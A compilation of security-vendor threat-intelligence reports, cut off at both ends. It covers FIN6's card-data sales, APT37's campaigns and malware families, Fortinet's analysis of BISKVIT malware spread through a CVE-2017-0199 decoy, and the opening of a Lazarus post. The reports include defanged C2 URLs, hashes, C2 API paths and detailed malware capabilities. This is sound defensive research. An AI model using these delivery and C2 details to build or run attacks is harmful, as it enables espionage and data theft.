U T E R D P T R A F F I C T O V I C T I M C O M P U T E R S +AT TAC K E R +CnC SERVER +AT TAC K E R +CnC SERVER +AT TAC K E R +CnC SERVER +PLINK +TUNNEL +VICTIM 1 +HOST +TUNNEL +VICTIM 2 +VICTIM 3 +VICTIM 4 +SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 +Our analysis of the data sold +through this underground +vendor indicates that FIN6 +compromises are highly +profitable to the actors involved, +potentially resulting in extensive +fraud losses. +UNDERGROUND +CARD SHOPS +FOLLOWING THE MONEY +sing iSIGHT Partners + collected +intelligence, we discovered that the +stolen payment card data from these +intrusions were sold in an underground card +shop. This particular shop is advertised on +multiple underground cyber crime forums and +has offered diverse criminals access to millions +of stolen payment cards on a regular basis. +This closes the loop on the +lifecycle + of cyber +criminal activity and exemplifies one of the +final stages of cyber crime actors monetizing +their stolen data. +We have identified stolen data from several of +FIN6 +s victims being sold by this vendor as far +back as 2014. This connection means that data +stolen by FIN6 has almost certainly ended up in +the hands of fraud operators across the world, +as they buy and exploit payment cards from +the underground shop. In each case, the stolen +data began appearing in the shop within six +months of the FIN6 breach. While the amount +of data sold through the shop varies by breach, +in some cases more than 10 million cards +associated with a specific FIN6-linked breach +have been identified on the shop. After being +posted, much of the stolen card data is quickly +purchased for exploitation. Along with the +data we have linked to FIN6, this underground +shop has sold data from millions of other cards, +which may be linked to breaches perpetrated +by other threat actors. +SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 +UNDERGROUND COMMUNITIES DEALING IN STOLEN CARD DATA EXIST ACROSS THE +world and are a major facilitator of money laundering operations. A large number of these +communities take the form of illicit e-commerce sites called +card shops + or +dump shops +(criminals refer to stolen card-present transaction data as +dumps +). These shops allow +their clientele to use a web-based platform to sort through data on thousands or millions of +payment cards and purchase exactly the types they want based on their money laundering +capabilities. These data are then added to the client +s cart for checkout, similar to a legitimate +website. Subsequently, customers use the card information they have purchased for many +different money laundering schemes, such as buying and reselling gift cards or electronics. +Our analysis of the data sold through this +underground vendor indicates that FIN6 +compromises are highly profitable to the actors +involved, potentially resulting in extensive fraud +losses. For instance, in one FIN6-linked breach +the vendor was advertising nearly than 20 +million cards. These cards were predominantly +from the United States and selling for an +average of $21. So the total return for the shop + if all the data was sold at full price + could +have been about $400 million. +In reality, the shop would typically only make +a fraction of this figure since not all the data +would be sold (laundering stolen cards is +typically much harder than stealing them), +buyers want the newest data they can get (data +that has been on the shop for a while loses its +value) and the shop offers discounts based +on various criteria. Still, a fraction of $400 +million is a significant sum. In turn, cyber +criminals purchasing the data would expect +to make more than they paid for the cards +by conducting fraudulent transactions using +those cards. +Not all of the data sold on this particular card +shop has been tied to an identified compromise +or specific cyber criminal group. Additionally, as +is often the case with prominent cyber criminal +vendors, it is not yet clear how the operators +of the underground site are linked to the actors +who steal the data the shop sells. The vendor +has sold large amounts of card data with +varied characteristics, so it is possible the shop +operators maintain relationships with more +than one data provider. FIN6 members could +include some of the operators behind this shop; +alternately, FIN6 could be selling stolen data to +the operators of this site. +SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 +CONCLUSION +ood threat intelligence comes from +a combination of factors. It requires +visibility into the threat landscape, +including both a broad view (the ability to +identify activity across a range of countries, +industries and organizations) and a deep view +(the ability to gather detailed information +about how threat actors operate). It also +requires skilled analysts who are able to +review, fuse and understand the available data. +The story of FIN6 shows how real-world threat +actors operate, providing a glimpse not only +into the technical details of the compromise, +but also into the human factor as well; namely, +the interactions between different criminals +or criminal groups, and how it is not just data +being bartered or sold in the underground, but +also tools, credentials and access. +In this case, the combined intelligence from +FireEye, Mandiant and iSIGHT intelligence +teams was able to not only identify malicious +activity aimed at stealing payment card +data, but also provide a detailed window +into that activity from compromise through +monetization of the stolen data. +SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 +To download this or other +FireEye Threat Intelligence reports, +visit: www.fireeye.com/reports.html +FireEye, Inc. +1440 McCarthy Blvd. Milpitas, CA 95035 +408.321.6300 / 877.FIREEYE (347.3393) / info@FireEye.com +www.FireEye.com + 2016 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. +All other brands, products, or service names are or may be trademarks +or service marks of their respective owners. SP.FIN6.EN-US.042016 +APT37 (REAPER) +The Overlooked North Korean Actor +SPECIAL REPORT +SPECIAL REPORT +APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR +CONTENTS +INTRODUCTION +Introduction +Targeting and Mission +Initial Infection Vectors +Exploited Vulnerabilities +Command and Control Infrastructure +Malware +Attribution +Outlook and Implications +Appendix: Malware Used by APT37 +On Feb. 2, 2018, we published a blog detailing the use of an Adobe Flash zero-day +vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group +that we now track as APT37 (Reaper). Recent examination of this group +s activities by +FireEye iSIGHT Intelligence reveals APT37 has expanded its operations in both scope +and sophistication. APT37 +s toolset, which includes access to zero-day vulnerabilities +and wiper malware, combined with heightened tensions in Northeast Asia and North +Korea +s penchant for norm breaking, means this group should be taken seriously. +We assess with high confidence that this activity is carried out on behalf of the North +Korean government given malware development artifacts and targeting that aligns +with North Korean state interests. FireEye iSIGHT Intelligence believes that APT37 is +aligned with the activity publicly reported as Scarcruft and Group123. +SPECIAL REPORT +Targeting +and Mission +APT37 has likely been active since at least 2012 +and focuses on targeting the public and private +sectors primarily in South Korea. In 2017, APT37 +expanded its targeting beyond the Korean +peninsula to include Japan, Vietnam and the +Middle East, and to a wider range of industry +verticals, including chemicals, electronics, +manufacturing, aerospace, automotive and +healthcare entities (Fig. 1). +APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR +We judge that APT37 +s primary mission is +covert intelligence gathering in support of North +Korea +s strategic military, political and economic +interests. This is based on consistent targeting +of South Korean public and private entities and +social engineering. APT37 +s recently expanded +targeting scope also appears to have direct +relevance to North Korea +s strategic interests. +From 2014 to 2017, APT37 targeting +concentrated primarily on the South Korean +government, military, defense industrial base, +and media sector. Lure materials (Fig. 2) +typically leveraged the Korean language and +featured themes such as Korean peninsula +reunification or sanctions. +Figure 1. APT37 Targeting Scope. +Figure 2. +2016 Korean +Reunification Conference Form +(MD5:183be2035d5a546670d2b9deeca4eb59). +SPECIAL REPORT +APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR +In 2017, APT37 targeted a Middle Eastern +company that entered into a joint venture +with the North Korean government to provide +telecommunications service to the country (read +on for a case study). At that time, other targets +included individuals involved in international +affairs and trade issues, the general director of a +Vietnamese international trading and transport +company, and possibly individuals working with +Olympics organizations assisting in securing +resources for athletes. +North Korean defector and human rights-related +targeting provides further evidence that APT37 +conducts operations aligned with the interests of +North Korea. +APT37 targeted a research fellow, advisory +member, and journalist associated with different +North Korean human rights issues and strategic +organizations. It also targeted an entity in Japan +associated with the United Nations missions on +sanctions and human rights. APT37 distributed +SLOWDRIFT malware using a lure referencing +the Korea Global Forum against academic and +strategic institutions located in South Korea. +Notably, the email was sent from a compromised +South Korean institute that conducts studies on +North Korea. The string +durihana, + which is also +the name of a Christian missionary organization +that works with North Korean defectors, was +included in an APT37 weaponized document +sent to an individual who works with a North +Korean human rights organization. +Initial Infection Vectors +CASE STUDY: +Targeting of Middle +Eastern Organization +with Business ties to +North Korea +We believe a Middle Eastern organization +was targeted by APT37 because it had +been involved with a North Korean +company and a business deal went bad. +This firm was targeted shortly after media +reports of this schism had gone public. The +targeting effort may have been an attempt +by the North Korean government to gather +information on a former business partner. +The operation exemplifies APT37 +s tactics, +techniques and procedures (TTPs), and +reflects the advanced capabilities of this +espionage group. +In May 2017, APT37 used a bank +liquidation letter as a spear phishing lure +against a board member of a Middle +Eastern financial company. The specially +crafted email included an attachment +containing exploit code for CVE-20170199, a vulnerability in Microsoft Office +that had been disclosed just a month +earlier. Once opened, the malicious +document communicated with a +compromised website, most likely to +surreptitiously download and install a +backdoor called SHUTTERSPEED (MD5: +7c2ebfc7960aac6f8d58b37e3f092a9c). +The tool would enable APT37 to collect +system information, take screenshots and +download additional malicious files to the +victim computer. +In addition to the aforementioned spear phishing tactics, APT37 +leverages a variety of methods to deliver malware. These include +strategic web compromises typical of targeted cyber espionage +operations, as well as the use of torrent file-sharing sites to distribute +malware more indiscriminately. +Numerous campaigns have employed social engineering tactics +tailored specifically to desired targets. Lures and websites of particular +interest to South Korean organizations (e.g. reunification) are regularly +leveraged in campaigns. Multiple South Korean websites were abused +in strategic web compromises to deliver newer variants of KARAE +and POORAIM malware. Identified sites included South Korean +conservative media and a news site for North Korean refugees and +defectors. In one instance, APT37 weaponized a video downloader +application with KARAE malware that was indiscriminately distributed +to South Korean victims through torrent websites. +SPECIAL REPORT +APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR +CVE-2018-4878 (Zero-day vulnerability) +CVE-2017-0199 +CVE-2013-4979 +CVE-2013-4979 +CVE-2015-2387 +CVE-2015-2545 +CVE-2015-7645 +CVE-2015-5122 +CVE-2016-4117 +CVE-2014-8439 +CVE Release Date +CVE-2016-1019 +Exploit +CVE-2015-5119 +CVE-2015-2419 +CVE-2015-3105 +2018 +2017 +2016 +2015 +2014 +Figure 3. Timeline of CVE Release Dates vs. Dates of APT37 CVE Exploitation. +Exploited Vulnerabilities +Command and Control Infrastructure +APT37 frequently exploits vulnerabilities in Hangul +Word Processor (HWP) due to the software +prevalence in South Korea. Further, the group +recently demonstrated access to zero-day +vulnerabilities (CVE-2018-0802) and has the +flexibility to quickly incorporate recently publicized +vulnerabilities into spear phishing and strategic web +compromise operations. These capabilities suggest +a high operational tempo and specialized expertise. +APT37 uses a variety of techniques for command +and control. They leverage compromised servers, +messaging platforms and cloud service providers +to avoid detection. The group often relies on +compromised sites to host second stage malware +payloads. Over time, APT37 has changed the email +providers to set up command and control accounts +in a possible attempt to cover their tracks and cause +misdirection. These tactics have been refined over the +years as APT37 evolves to evade network defenders. +APT37 has repeatedly deployed exploits, especially +in Flash, quickly after vulnerabilities are initially +publicized (see Table 1). CVE-2016-4117, CVE2016-1019 and CVE-2015-3043 were all exploited +by APT37 in this way. FireEye iSIGHT Intelligence +confirmed that since at least November 2017, APT37 +exploited a zero-day Adobe Flash vulnerability, +CVE-2018-4878, to distribute DOGCALL malware to +South Korean victims. +While use and discovery of zero-day exploits over +the past several years has expanded beyond a +nation-state dominated environment to include +commercial vendors of cyber espionage capabilities +and sophisticated financially motivated actors, access +to zero-day exploits remains a factor in distinguishing +sophisticated or well-resourced actors. +Figure 3 details the vulnerabilities exploited by +APT37, comparing the time of exploitation to the +time the CVE was released. +APT37 has used various legitimate platforms as +command and control for its malware tools. While +some early campaigns leveraged POORAIM, which +abused AOL Instant Messenger, newer activity +deploys DOGCALL, which uses cloud storage APIs +such as pCloud and Dropbox. +APT37 relies on compromised websites to host +second stage malware. Small websites focused +on subjects such as aromatherapy and scuba +diving have been leveraged, and were most likely +compromised opportunistically and made to host +malicious payloads. +APT37 has improved its operational security over +time. For example, early 2015 use of SLOWDRIFT +involved credentials associated with Korea related +mail servers such as +Daum.net +. Later, in 2015 +and early 2016, APT37 pivoted to different email +providers such as Gmail and +hmamail.com + in an +attempt to anonymize activity. Then from mid-2016 +onward, APT37 began using @yandex.com and @ +india.com email accounts -- possibly an attempt to +cause misattribution. +SPECIAL REPORT +APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR +Malware +APT37 employs a diverse suite of malware for initial intrusion +and exfiltration. Their malware is characterized by a focus +on stealing information from victims, with many set up to +automatically exfiltrate data of interest. Figure 4 shows APT37 +malware usage over time. A full breakdown of the malware we +associate with APT37, along with how it is detected by FireEye +devices, is available in the Appendix. +Along with custom malware used for espionage purposes, +APT37 also has access to destructive malware. In April 2017, +APT37 targeted South Korean military and government +organizations with the DOGCALL backdoor and RUHAPPY +wiper malware. Although the wiper capability was not +used in the identified instance, RUHAPPY can overwrite a +machine's Master Boot Record (MBR), causing the system to +fail to boot into preconfigured partitions. +2015 +It is possible that APT37 +s distribution of KARAE malware +via torrent websites could assist in creating and maintaining +botnets for future distributed denial-of-service (DDoS) +attacks, or for other activity such as financially motivated +campaigns or disruptive operations. Disruptive and +destructive cyber threat activity, including the use of wiper +malware, public leaks of proprietary materials by false +hacktivist personas, DDoS attacks and electronic warfare +tactics such as GPS signal jamming is consistent with past +behavior by other North Korean actors. +2016 +2017 +KARAE +SOUNDWAVE +ZUMKONG +RICECURRY +CORALDECK +POORAIM +SLOWDRIFT +MILKDROP +GELCAPSULE +DOGCALL +HAPPYWORK +RUHAPPY +SHUTTERSPEED +WINERACK +2018 +Figure 4. +Timeline of APT37 Malware Use +By First and Last Observed +Compile Times. +SPECIAL REPORT +Attribution +We assess with high confidence that +APT37 acts in support of the North +Korean government and is primarily +based in North Korea. This assessment +is based on multiple factors, including +APT37 +s targeting profile, insight into +the group +s malware development +and probable links to a North Korean +individual believed to be the developer +of several of APT37 +s proprietary +malware families: +APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR + An individual we believe to be the +developer behind several APT37 +malware payloads inadvertently +disclosed personal data showing that +the actor was operating from an IP +address and access point associated +with North Korea. + The compilation times of APT37 +malware is consistent with a developer +operating in the North Korea time +zone (UTC +8:30) and follows what is +believed to be a typical North Korean +workday (Fig. 5). The majority of +malware compilation times occurred +between 10:00 a.m. and 7:00 p.m., with +a dip around noon. Additional activity +occurred late into the evening. This +is consistent with media reporting of +extremely long hours for North Korean +workers. + The majority of APT37 activity +continues to target South Korea, North +Korean defectors, and organizations +and individuals involved in Korean +Peninsula reunification efforts. Similarly, +APT37 targeting of a Middle Eastern +company in 2017 is also consistent +with North Korean objectives given the +entity +s extensive relationships inside +North Korea. +12 a.m. +1 a.m. +2 a.m +Figure 5. APT37 Compile Times Against Local Time in North Korea. +3 a.m +4 a.m +5 a.m +6 a.m +7 a.m +8 a.m +9 a.m. +Outlook and Implications +10 a.m +11 a.m. +12 p.m. +North Korea has repeatedly demonstrated a +willingness to leverage its cyber capabilities for +a variety of purposes, undeterred by notional +redlines and international norms. Though they +have primarily tapped other tracked suspected +North Korean teams to carry out the most +aggressive actions, APT37 is an additional tool +available to the regime, perhaps even desirable for +its relative obscurity. We anticipate APT37 will be +leveraged more and more in previously unfamiliar +roles and regions, especially as pressure mounts +on their sponsor. +1 p.m. +2 p.m. +3 p.m. +4 p.m. +5 p.m. +6 p.m. +7 p.m. +8 p.m. +9 p.m. +10 p.m. +11 p.m. +Frequency +The slow transformation of regional actors into +global threats is well established. Minor incidents +in Ukraine, the Middle East and South Korea have +heralded the threats, which are now impossible to +ignore. In some cases, the global economy connects +organizations to aggressive regional actors. In other +cases, a growing mandate draws the actor on to +the international stage. Ignored, these threats enjoy +the benefit of surprise, allowing them to extract +significant losses on their victims, many of whom +have never previously heard of the actor. +SPECIAL REPORT +APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR +Appendix: Malware Used by APT37 +Malware +Description +Detected as +Malware +Description +Detected as +CORALDECK +CORALDECK is an exfiltration tool that searches for specified +files and exfiltrates them in password protected archives using +hardcoded HTTP POST headers. CORALDECK has been observed +dropping and using Winrar to exfiltrate data in password +protected RAR files as well as WinImage and zip archives. +APT.InfoStealer.Win.CORALDECK +MILKDROP +MILKDROP is a launcher that sets a persistence registry +key and launches a backdoor. +FE_Trojan_Win32_MILKDROP_1 +FE_APT_InfoStealer_Win_ +CORALDECK_1 +POORAIM +Backdoor.APT.POORAIM +DOGCALL is a backdoor commonly distributed as an encoded +binary file downloaded and decrypted by shellcode following the +exploitation of weaponized documents. DOGCALL is capable of +capturing screenshots, logging keystrokes, evading analysis with +anti-virtual machine detections, and leveraging cloud storage APIs +such as Cloud, Box, Dropbox, and Yandex. +FE_APT_RAT_DOGCALL +POORAIM malware is designed with basic backdoor +functionality and leverages AOL Instant Messenger +for command and control communications. POORAIM +includes the following capabilities: System information +enumeration, File browsing, manipulation and exfiltration, +Process enumeration, Screen capture, File execution, +Exfiltration of browser favorites, and battery status. +Exfiltrated data is sent via files over AIM. +DOGCALL +FE_APT_Backdoor_Win32_ +DOGCALL_1 +APT.Backdoor.Win.DOGCALL +DOGCALL was used to target South Korean Government and +military organizations in March and April 2017. +POORAIM has been involved in campaigns against South +Korean media organizations and sites relating to North +Korean refugees and defectors since early 2014. +The malware is typically dropped using an HWP exploit in a lure +document. +Compromised sites have acted as watering holes to +deliver newer variants of POORAIM. +The wiper tool, RUHAPPY, was found on some of the systems +targeted by DOGCALL. While DOGCALL is primarily an espionage +tool, RUHAPPY is a destructive wiper tool meant to render +systems inoperable. +GELCAPSULE +HAPPYWORK +GELCAPSULE is a downloader traditionally dropped or +downloaded by an exploit document. GELCAPSULE has been +observed downloading SLOWDRIFT to victim systems. +FE_APT_Downloader_Win32_ +GELCAPSULE_1 +HAPPYWORK is a malicious downloader that can download and +execute a second-stage payload, collect system information, and +beacon it to the command and control domains. The collected +system information includes: computer name, user name, system +manufacturer via registry, IsDebuggerPresent state, and execution +path. +FE_APT_Downloader_ +HAPPYWORK +Karae backdoors are typically used as first-stage malware after an +initial compromise. The backdoors can collect system information, +upload and download files, and may be used to retrieve a secondstage payload. The malware uses public cloud-based storage +providers for command and control. +In March 2016, KARAE malware was distributed through +torrent file-sharing websites for South Korean users. During +this campaign, the malware used a YouTube video downloader +application as a lure. +RICECURRY is a Javascript based profiler used to +fingerprint a victim's web browser and deliver malicious +code in return. Browser, operating system, and Adobe +Flash version are detected by RICECURRY, which may be +a modified version of PluginDetect. +Exploit.APT.RICECURRY +RUHAPPY +RUHAPPY is a destructive wiper tool seen on systems +targeted by DOGCALL. It attempts to overwrite the MBR, +causing the system not to boot. When victims' systems +attempt to boot, the string "Are you Happy?" is displayed. +FE_APT_Trojan_Win32_RUHAPPY_1 +The malware is believed to be tied to the developers of +DOGCALL and HAPPYWORK based on similar PDB paths +in all three. +FE_APT_Exploit_HWP_Happy +Downloader.APT.HAPPYWORK +In November 2016, HAPPYWORK targeted government and +financial targets in South Korea. +KARAE +RICECURRY +FE_APT_Backdoor_Karae_enc +FE_APT_Backdoor_Karae +Backdoor.APT.Karae +SHUTTERSPEED +SHUTTERSPEED is a backdoor that can collect system +information, acquire screenshots, and download/execute +an arbitrary executable. SHUTTERSPEED typically +requires an argument at runtime in order to execute fully. +Observed arguments used by SHUTTERSPEED include: +'help', 'console', and 'sample'. +The spear phishing email messages contained documents +exploiting RTF vulnerability CVE-2017-0199. +Many of the compromised domains in the command +and control infrastructure are linked to South Korean +companies. Most of these domains host a fake webpage +pertinent to targets. +FE_APT_Backdoor_SHUTTERSPEED +APT.Backdoor.SHUTTERSPEED +APT.Backdoor.SHUTTERSPEED +Malware +Description +Detected as +SLOWDRIFT +SLOWDRIFT is a launcher that communicates via cloud based +infrastructure. It sends system information to the attacker +command and control and then downloads and executes +additional payloads. +FE_APT_Downloader_Win_ +SLOWDRIFT_1 +Lure documents distributing SLOWDRIFT were not tailored for +specific victims, suggesting that TEMP.Reaper is attempting to +widen its target base across multiple industries and in the private +sector. +FE_APT_Downloader_Win_ +SLOWDRIFT_2 +APT.Downloader.SLOWDRIFT +SLOWDRIFT was seen being deployed against academic and +strategic targets in South Korea using lure emails with documents +leveraging the HWP exploit. +Recent SLOWDRIFT samples were uncovered in June 2017 with +lure documents pertaining to cyber crime prevention and news +stories. These documents were last updated by the same actor +who developed KARAE, POORAIM and ZUMKONG. +SOUNDWAVE +SOUNDWAVE is a windows based audio capturing utility. Via +command line it accepts the -l switch (for listen probably), +captures microphone input for 100 minutes, writing the +data out to a log file in this format: C:\Temp\HncDownload\ +YYYYMMDDHHMMSS.log. +FE_APT_HackTool_Win32_ +SOUNDWAVE_1 +ZUMKONG +ZUMKONG is a credential stealer capable of harvesting usernames +and passwords stored by Internet Explorer and Chrome browsers. +Stolen credentials are emailed to the attacker via HTTP POST +requests to mail[.]zmail[.]ru. +FE_APT_Trojan_Zumkong +WINERACK is backdoor whose primary features include user and +host information gathering, process creation and termination, +filesystem and registry manipulation, as well as the creation +of a reverse shell that utilizes statically-linked Wine cmd.exe +code to emulate Windows command prompt commands. Other +capabilities include the enumeration of files, directories, services, +active windows and processes. +FE_APT_Backdoor_WINERACK +WINERACK +FireEye, Inc + 2018 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. +All other brands, products, or service names are or may be trademarks +or service marks of their respective owners. SP.APT37.EN-US.22018 +Trojan.APT.Zumkong +Backdoor.APT.WINERACK +FireEye, Inc. +601 McCarthy Blvd. Milpitas, CA 95035 +408.321.6300 +877 FIREEYE (347.3393) +info@FireEye.com +www.FireEye.com +Russian Army Exhibition Decoy Leads to New BISKVIT +Malware +fortinet.com/blog/threat-research/russian-army-exhibition-decoy-leads-to-new-biskvit-malware.html +August 20, +2018 +Threat Research +By Jasper Manuel and Rommel Joven | August 20, 2018 +A few days ago, the FortiGuard Labs team found a malicious PPSX file exploiting CVE-20170199 that had been crafted for Russian speakers. The filename + when translated +means +Exhibition +. On further examination, the PPSX file seems to have been targeted at an +exhibition being held annually in Russia called Army 2018 International Military and Technical +Forum. This is one of the largest exhibitions of military weapons and special equipment, not +only in Russia, but also one of the outstanding events among similar exhibitions in the +world. The discovery of this malicious document is very timely since the event is scheduled +to be held August 21-26, 2018. +Figure 01. Decoy file +Another interesting element of this malware is the included paragraph, shown below. +1/15 +Figure 02. Invitation in Russian +This roughly translates to: +Closed dynamic show of modern and prospective samples of military armament and +special equipment for the +reconnaissance and raid action of combined-arms units +While the event is open to anyone, organizers from last year have set up specialized +expositions that include +demonstrations behind closed doors. + This caters to selected +guests, where pieces of classified equipment are being displayed, including large aerial +vehicles and missiles. That being said, we believe that this malicious document is being +targeted to those selected guests who want to be, or are already included in these closed +door invitations. This year +s event has already 66 official foreign delegations confirming their +participation. We will take a look on how a PPSX file could compromise an unpatched +system. +Analysis +We begin with the malicious PPSX file that exploits CVE-2017-0199 and opens a bait file. CVE2017-0199 is an HTA (HTML application) vulnerability that allows a malicious actor to +download and execute a script containing PowerShell commands when a user opens a +document containing an embedded exploit This is not the first time we have encountered an +APT abusing this vulnerability. In fact, previous attacks have targeted people from UN +agencies, Foreign Ministries, and people and organizations who interact with international +governments. +2/15 +Figure 03. Overview of attack +Once the PPSX file is opened, it triggers a script in ppt/slides/_rels/slides1.xml.rels. The exploit +then downloads additional code from the remote server, as shown in figure 04, and +executes it using the PowerPoint Show animations feature. +Figure 04. PPSX file exploiting CVE-2017-0199 +Shown below is the code from the remote server after the PowerShell exploit embedded in +the XML file is successfully executed and downloads an executable payload into %Temp%. +3/15 +Figure 05. defender XML +When executed, Defender.exe drops the following files: +Figure 06. TMPEC4E directory +SynTPEnh + a directory with the BISKVIT malware package +Csrtd.db + an encrypted configuration file used by DevicePairing.exe for autorun +installation +Figure 07. Decrypted configuration +DevicePairing.exe + also identified in the code as "AutorunRegistrator", its function is to +copy the SynTPEnh directory to %appdata% and add it to the autorun registry entry +4/15 +DevicePairing.exe.config + a runtime configuration file +Kernel32.dll + a common library of BISKVIT malware +Newtonsoft.Json.dll + a popular JSON serializer for .NET +BISKVIT +The BISKVIT Trojan is a multi-component malware written in C#. We dubbed this malware +BISKVIT based on the namespaces used in the code, which contain the word +biscuit +Unfortunately, there is already an existing unrelated malware called BISCUIT, so BISKVIT is +used instead, which is the Russian translation of biscuit. +Figure 08. Biscuit modules +Due to the modular nature of BISKVIT, it +s difficult to exactly determine all of its +functionalities since components are only downloaded and loaded on the fly at the direction +of the attacker. As of this writing, we have only been able to download one component. So +far, based on the code of the components that we were able to acquire, this malware is +capable of, but not limited to the following: +Downloading files and components +Hidden/stealthy execution of downloaded and local files +Downloading of dynamic configuration files +Updating itself +Deleting itself +5/15 +The BISKVIT malware is copied to the %appdata%\ SynTPEnh from the %temp% folder, as +mentioned above. These are the contents of the %appdata%\SynTPEnh folder: +SynTPEnh.exe + the main BISKVIT malware file +Csrtd.db + an encrypted configuration file +SynTPEnh.exe.config + a runtime configuration file +Kernel32.dll + a common library of BISKVIT malware +Newtonsoft.Json.dll + a popular JSON serializer for .NET +The main BISKVIT file disguises itself as the legitimate Synaptics Pointing Device Driver file to +avoid suspicion by the user. +Figure 09. Information disguised as Synaptics +When executed, it initializes its base configuration, which contains the following +information: +6/15 +Figure 10. Base configuration +It then loads and decrypts its configuration file, named csrtd.db. This configuration file is +encrypted with AES using the following keys: +Figure 11. Default AES and IV key +Once decrypted, this configuration file contains the command and control server, the time +interval used by the malware to check for jobs from the command and control server, an +API key, and RSA key information. We didn +t find code references to the RSA encryption +method, so we think that +s being used by other components that we haven +t acquired as of +this writing. +7/15 +Figure 12. Decrypted configuration +Command and Control Communications +This malware communicates with the command and control server through REST APIs using +the JSON format. The malware first gets an access token by sending an API key. If not +specified in the configuration, the API key is generated from the CPU, disk drive, and MAC +address information of the infected machine. This API key is a unique ID, which is also used +to identify the machine. +Figure 13. Unique Id composition +The API key is sent to the command and control server via an HTTP POST request to the API +/api/auth/token. +Figure 14. POST ApiKey +The server replies with access token information that will be used for the entire session. +8/15 +Figure 15. Access token +This malware then receives and executes commands from the attacker through a jobs API. It +sends an HTTP GET request to the API /api/job to get a job after a certain time has lapsed, as +indicated by the interval set in the configuration. +Figure 16. GET api/job +The response would be a job with four main keys: id, resultUri, tasks, and executionOptions. +Figure 17. Job +id - is the job ID +resultUri - is where the malware will HTTP POST the result of the job +9/15 +executionOptions - tells the malware if it will execute the package at certain time interval, +and if it will be started at startup. +tasks + this key contains information about packages (components/other files) that the +attacker wants downloaded to and executed on the infected machine. +The executeMode in the key tasks tells the malware how to execute the package. +Figure 18. Execute modes +If the mode is 0, the package is treated as a component/library and is executed with the +parameter indicated in the parameters key. +If the mode is 1, the package is treated as a file and is executed by using either the +ShellExecuteEx() or CreateProcess() Windows API, with WindowStyle set to Hidden and +CreateNoWindow set to true. +Figure 19. ExecuteHide +If the mode is 2, the package is treated as file and is executed using the +10/15 +CreateProcessAsUser() Windows API. +Figure 20. StartAsUser +Another interesting feature of this malware is that it saves jobs locally in a folder named +534faf1cb8c04dc881a3fbd69d4bc762. +Figure 21. Jobs Directory +Jobs are encrypted using the same AES encryption as that of the configuration file, and are +named with its job id with a .db extension. This means that it can continue executing the +jobs on the next execution of the malware even when its current process is interrupted or +terminated. After completing the job, this malware deletes the locally saved job. +During our analysis, the malware received a job to download a package with executeMode +set to 0. This means the package is a component/library that can be downloaded from +/api/package/5b61b91da99a25000198dfcc. +Figure 22. Job with packageId and executeMode +11/15 +The package from the downloadUri specified in the job resulted to a zip file with a PK +header. +Figure 23. Get Package +Packages are stored in the folder 083c57797944468895820bf711e3624f. +Figure 24. Packages Directory +After checking what component had been downloaded, we discovered that it was a +component called FileExecutor, which just executes the files indicated in the parameters key. +Figure 25. Job and Task +s parameters +This FileExecutor component has the same functionality as the executeMode set to 1, which +just executes a file using either the ShellExecuteEx() or CreateProcess() with WindowStyle set +to Hidden and CreateNoWindow set to true. In the above job, it tells the malware to use the +12/15 +FileExecutor component to execute +systeminfo + with timeout set at 30 seconds, as indicated +by the Waittime key. +The command systeminfo displays detailed configuration information about a computer and +its operating system, including its operating system configuration, security information, +product ID, and hardware properties (such as RAM, disk space, and network cards). +Figure 26. Systeminfo data POST to CC +For the C&C to know the status of the jobs running, it also includes the key State that has +the values shown below. The data that was sent during our analysis included the State being +equal to 2, meaning it is complete. +13/15 +Figure 27. Job States +After the systeminfo job, it seemed that the attacker noticed that the machine he/she sent +the job to was an analysis machine, so the C&C stopped sending any jobs. This could only +mean that the attacker behind this attack is being very careful to not infect computers that +are not targets and to avoid alerts. +While it is not new for C&C servers used in targeted attacks to suddenly stop responding +after collecting the basic information of the victim +s computer, the C&C used here is not +completely blocking its communication. Instead, it just stopped sending jobs. This enables +researchers and analysts to still monitor the C&C. +Low AV Detection +Interestingly, even if the malware files are not packed or obfuscated, only a few AV vendors, +including Fortinet, were able to detect the files. +Conclusion +The use of current and upcoming events as bait to target high profile targets is becoming +more and more popular among attackers. +Based on our findings, we believe that this is a well-planned attack, especially considering +the timely distribution of the malicious decoy file and the use of a never-before-seen +malware. These two ingredients provide the best chance for comprising their targets. +Solution +Fortinet detects all Biskvit malware components as W32/BiskvitLoader.A!tr, +MSIL/BiskvitAutoRun.A!tr, MSIL/BiskvitLib.A!tr, MSIL/Biskvit.A!tr, +MSOffice/Exploit.CVE20178570!tr. +14/15 +Malicious URLs related to this malware are also blocked through the FortiGuard Web +Filtering Service. +We recommend that all users apply the patch released by Microsoft for CVE-2017-0199. +Special thanks to Evgeny Ananin for translating the content of the exploit document from Russian +to English. +be7459722bd25c5b4d57af0769cc708ebf3910648debc52be3929406609997cf +a87daccbb260c5c68aaac3fcd6528f9ba16d4f284f94bc1b6307bbb3c6a2e379 +b4a1f0603f49db9eea6bc98de24b6fc0034f3b374a00a815b5c906041028ddf3 +934542905f018ecb495027906af13cc96e3f55e11751799f39ef4a3dceff562b +23a286d14de1f51c5073caf0fd40a7636c287f578f32ae5e05ed331741fde572 +hxxp://bigboss.x24hr.com +hxxp://secured-links.org/ +Download our latest Global Threat Landscape Report. +russia, APT Campaign +Copyright + 2019 Fortinet, Inc. All Rights Reserved +15/15 +Lazarus Group Targets More Cryptocurrency Exchanges +and FinTech Companies +intezer.com/lazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies/ +March 28, 2018 +Blog +Cybersecurity DNA +Introduction +Cyber attacks from the Lazarus Group, a threat actor associated with North Korea, has not +slowed down and their malware toolset continues to evolve. A few months ago, we published a +general research of the Lazarus Group and the Blockbuster campaign including code reuse +and similarities throughout 